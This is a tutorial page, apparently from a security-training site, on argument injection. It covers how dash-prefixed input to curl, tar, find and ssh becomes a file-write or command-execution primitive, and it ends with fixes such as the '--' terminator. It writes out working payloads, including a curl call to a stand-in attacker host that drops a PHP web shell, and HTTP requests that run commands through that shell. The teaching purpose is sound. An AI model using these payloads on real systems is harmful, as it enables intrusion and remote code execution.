OS Command Injection: The Complete Practical Guide

Argument Injection: Weaponizing Command Flags

How argument injection turns a benign binary into a file-write or exec primitive by injecting flags into curl, tar, find, and ssh.

Published

Argument injection is the subtle cousin of command injection. The code does everything right in the usual sense, it passes your input as a single argument to a fixed binary with no shell, so you cannot add a second command. But you control that argument, and if it starts with a dash the binary reads it as an option. Many everyday binaries have options that write files or execute commands, so one injected flag becomes a real primitive. This page covers the dangerous flags and why argv-safe code still breaks. Practice on a free live target.

Why safe-looking code is still vulnerable

Consider code that fetches a user-supplied URL with curl, done the "right" way:

# no shell: your value is one argument. Separator injection does NOT work here.
subprocess.run(["curl", user_input], check=True)

You cannot inject ;id, because there is no shell to parse it. But user_input is still attacker-controlled, and curl parses anything starting with - as an option. Inject the right flags and curl itself writes a file or exfiltrates one. The argument array stopped command injection. It did not stop you steering the binary.

Step 1: spot input that becomes an argument

Look for a value passed to a known binary: a URL to curl/wget, a path to tar/find/zip, a host to ssh/rsync. Confirm separators do not work (ruling out plain command injection), then test whether a leading dash is accepted, which tells you the value reaches the binary as a parsable option.

Step 2: inject a dangerous flag

Each of these binaries has at least one option that turns it into a primitive. Supply your input so it begins with a dash.

curl: write the response to a file (drop a web shell):

# value flows into: curl <input>
http://attacker.oast/shell.php -o /var/www/html/shell.php

tar: run a command via a checkpoint action:

# value flows into: tar <input>  (alongside files tar is archiving)
--checkpoint=1 --checkpoint-action=exec=sh shell.sh

find: execute a command with -exec:

# value flows into: find <input>
. -exec /bin/sh -c id ;

ssh: run a command through ProxyCommand:

# value flows into: ssh <input>
-oProxyCommand=id

Each one is a legitimate feature of the binary, abused because you control an argument.

Step 3: reach code execution or file write

Here a "fetch a URL" feature passes your value to curl. You inject curl's -o flag to write its output to the web root as a PHP shell:

POST /api/fetch HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
 
url=http://attacker.oast/shell.php -o /var/www/html/shell.php
HTTP/1.1 200 OK
Content-Type: application/json
 
{"status":"fetched"}

Then you request the dropped shell and have command execution:

GET /shell.php?c=id HTTP/1.1
Host: target.example
HTTP/1.1 200 OK
 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The feature never ran a shell. curl wrote the file because you handed it the -o option.

Fixing it

  • Insert a double-dash option terminator. Pass -- before the user value (["curl", "--", user_input]) so the binary stops parsing options and treats the rest as a positional argument, not a flag. This is the specific fix for argument injection.
  • Validate the value against a strict pattern (a URL with an allowed scheme and host, a filename with no path), and reject leading dashes.
  • Prefer a native library (an HTTP client, an archive library) over invoking a CLI binary with attacker input at all.

Full guidance is in preventing command injection. Next, adapt payloads across operating systems in per-OS payloads, or try argument injection on a free lab.

← Back to OS Command Injection: The Complete Practical Guide